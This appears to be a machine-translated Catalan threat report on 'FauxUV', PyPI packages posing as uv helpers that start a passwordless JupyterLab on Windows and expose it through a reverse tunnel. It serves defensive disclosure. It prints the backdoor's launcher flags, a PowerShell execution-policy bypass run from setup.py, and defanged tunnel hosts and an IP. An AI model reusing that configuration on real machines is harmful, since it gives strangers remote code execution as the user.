TL; DR
Un clúster de paquets PyPI va manllevar el nom de uv, el gestor de paquets Python ràpid i molt popular basat en Rust, per fer-se passar per ajudants de UV. Gairebé no inclouen cap funcionalitat real. El que porten en canvi és una càrrega útil de Windows que suporta una Servidor JupyterLab amb l'autenticació desactivada i, en versions posteriors, el publica a Internet a través d'un túnel invers.
Aquesta és tota la història en una sola línia: un nom d'eina de confiança com a esquer i JupyterLab com a motor d'execució remota de codi. Un servidor Jupyter executa qualsevol codi que escriviu en un not.ebook cel·la; un llançat amb un token buit i vinculat a cada interfície de xarxa és un intèrpret obert que qualsevol que pugui arribar al port pot controlar.
Fem un seguiment del clúster com a FauxUVEls dos paquets examinats són moon-uv (0.0.1 – 0.0.16) i my-magic-uv-helper (0.0.1), publicat pel mateix operador i disponible a PyPI en el moment de l'anàlisi.
| Ecosistema | PyPI |
| Paquets | moon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1) |
| Plataforma objectiu | Windows |
| Comportament bàsic | Servidor JupyterLab no autenticat, publicat a Internet a través d'un túnel invers |
| Eines legítimes abusades | uv, JupyterLab, cloudflared, Pinggy |
L'esquer: un nom en què ja confies
uv és una de les eines de Python més instal·lades dels darrers dos anys, per tant, "un ajudant per a uv"és un paquet que un desenvolupador instal·la sense pensar-s'ho dues vegades. FauxUV dedica tota la seva credibilitat a aquest nom. Els paquets envolten el genuí uv instal·lador d'Astral (les URL de la càrrega útil apunten a amfitrions reals i de bona reputació), de manera que un cop d'ull ràpid només veu referències fiables. Cap dels paquets afegeix realment uv funcionalitat; el nom és tota la disfressa.
JupyterLab com a motor RCE
La peça central de la càrrega útil és un llançador que inicia JupyterLab amb totes les barreres de protecció eliminades:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Cada bandera elimina una protecció, i l'escriptura enviada fins i tot les anota (en xinès original): la fitxa buida "desactiva les comprovacions de contrasenyes i tokens: tothom s'hi pot connectar." JupyterLab és un IDE de ciència de dades legítim, però noebook la cel·la executa codi arbitrari per disseny. Configurat d'aquesta manera i vinculat a 0.0.0.0, deixa de ser un IDE i es converteix en un shell remot no autenticat a l'amfitrió; no cal cap binari de programari maliciós personalitzat, només una eina convencional apuntant en la direcció equivocada.
Dues peces de suport fan que això sigui assolible i repetible:
- Un activador d'instal·lació silenciosa. Les primeres versions executen PowerShell amb -ExecutionPolicy Bypass directament de setup.py on instal·lació de pip, en segon pla amb els errors suprimits, així pip sembla normal. Les versions posteriors mouen la mateixa primitiva a un pip-uv eina de línia d'ordres — i eliminar completament l'execució automàtica en temps d'instal·lació.
- Un túnel invers públic. Un servidor en 0.0.0.0 encara només és accessible pels hosts que poden encaminar-se a la màquina. Un mòdul inclòs obre un [Pinggy](https://pinggy.io/) Túnel invers SSH que reenvia el port local de Jupyter a una adreça pública, eliminant aquest límit. L'script enviat també porta (comentat) una ruta alternativa utilitzant Cloudflare cloudflared I a netsh port-proxy a una IP Linode, documentant el mateix objectiu a través d'una infraestructura diferent.
Muntat: instal·leu el paquet i un amfitrió de Windows acabarà executant un JupyterLab sense contrasenya i publicant-lo a Internet obert.
Com va evolucionar FauxUV
Les versions de FauxUV es van enviar en ràpida successió i el punt de desencadenament de la càrrega útil es va moure a través d'elles, un recordatori que una versió marcada rarament explica tota la història d'una línia de paquets.
| Etapa | versions | gallet | Què afegeix |
|---|---|---|---|
| Instal·lar-ganxo | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py en la instal·lació de pip | instal·lació uv + PATH prefixat |
| Execució de la CLI | moon-uv 0.0.5-0.0.13 | pip-uv comanda | el llançador sense contrasenya de JupyterLab |
| Túnel | moon-uv 0.0.14-0.0.16 | pip-uv comanda | un túnel invers de Pinggy actiu |
Cal destacar que l'execució automàtica en el moment de la instal·lació va ser eliminat en les versions posteriors, més capaces, de manera que un escàner només es codificava durant el cicle de vida hooks qualificaria els llançaments més nous com a menys arriscat, exactament al revés.
Indicadors de compromís
Confirmat llegint el codi font del paquet; punts finals marcats comentat són presents als fitxers però no els executa la versió analitzada. Els indicadors de xarxa estan desactivats.
| Tipus | Indicador |
|---|---|
| Ordre d'instal·lació | powershell -ExecutionPolicy Bypass Obtenint l'instal·lador UV genuí, en el moment de la instal·lació de PIP |
| Banderes de JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Túnel invers (actiu) | free[.]pinggy[.]io:443 reenviament local 127.0.0.1:8888 |
| Amfitrió del túnel (comentat) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (comentat) | 45[.]79[.]134[.]161 (Linode) via netsh port-proxy |
| Persistència | anteposa %USERPROFILE%\.local\bin a la RUTA de l'usuari |
Senyals de comportament sobre els quals val la pena alertar, independentment d'aquestes cadenes exactes: a instal·lació de pip que genera PowerShell - Eviteu la política d'execucióqualsevol jupyter llançament combinant testimoni = "" amb –ip=0.0.0.0; i SSH de sortida a *.pinggy.io des d'un desenvolupador o una màquina de CI.
Comportament observat i procedència
Els dos paquets comparteixen un autor i un mètode: el nom d'una eina de confiança, la limitació només de Windows, l'execució en segon pla amb supressió d'errors i la dependència d'eines de bona reputació, de manera que una ullada ràpida només mostra URL de bona reputació. El codi font conté comentaris en xinès que descriuen clarament els indicadors rellevants per a la seguretat; els informem com a afirmacions observables al fitxer, no com a afirmació sobre el motiu. El permetre_origen valor i un colab.bat El nom del fitxer fa ressò dels fluxos de treball informals de "comparteix el meu temps d'execució local" que circulen per a Google Colab. Sigui quin sigui l'origen, el resultat empaquetat és el mateix.
Impacte i orientació per a defensors
Qui està exposat a FauxUV. Desenvolupadors de Windows i executors de CI que instal·lació de pip un d'aquests paquets. Un JupyterLab sense contrasenya activat 0.0.0.0 és l'execució remota de codi per a qualsevol persona que pugui accedir al port; el túnel elimina el límit de "qui hi pot accedir". El servidor s'executa com a usuari instal·lador, heretant els fitxers, els tokens i les credencials del núvol d'aquest usuari.
Per què és fàcil passar-ho per alt. Cada cadena de xarxa apunta a un amfitrió de bona reputació: Astral, JupyterLab, cloudflared, Pinggy, Colab. No hi ha cap binari de programari maliciós per processar amb hash ni cap blob ofuscat per descodificar. L'escaneig basat en la reputació i la signatura no dóna gaire importància a això, i per això la pregunta sobre el comportament... Què fa que faci la màquina la instal·lació d'aquest paquet? — és qui ho atrapa.
Orientació:
- Tracta qualsevol temps d'instal·lació PowerShell - Eviteu la política d'execució com a senyal de ruptura de compilació, independentment de l'URL que obtingui.
- Alerta sobre jupyter llançat amb una fitxa buida i –ip=0.0.0.0; aquesta combinació no hauria d'aparèixer mai en una estació de treball o en un executor.
- Supervisar la sortida SSH als proveïdors de túnels (*.pinggy.io, *.trycloudflare.com) des d'entorns de desenvolupador i de CI.
- install uv de [la seva font oficial](https://docs.astral.sh/uv/) i ser escèptic amb els paquets "d'ajuda" de tercers que emboliquen una eina que ja és trivial d'instal·lar.
- Fixa i torna a revisar les dependències en l'actualització: una línia de paquet pot fer créixer noves capacitats versió rere versió.



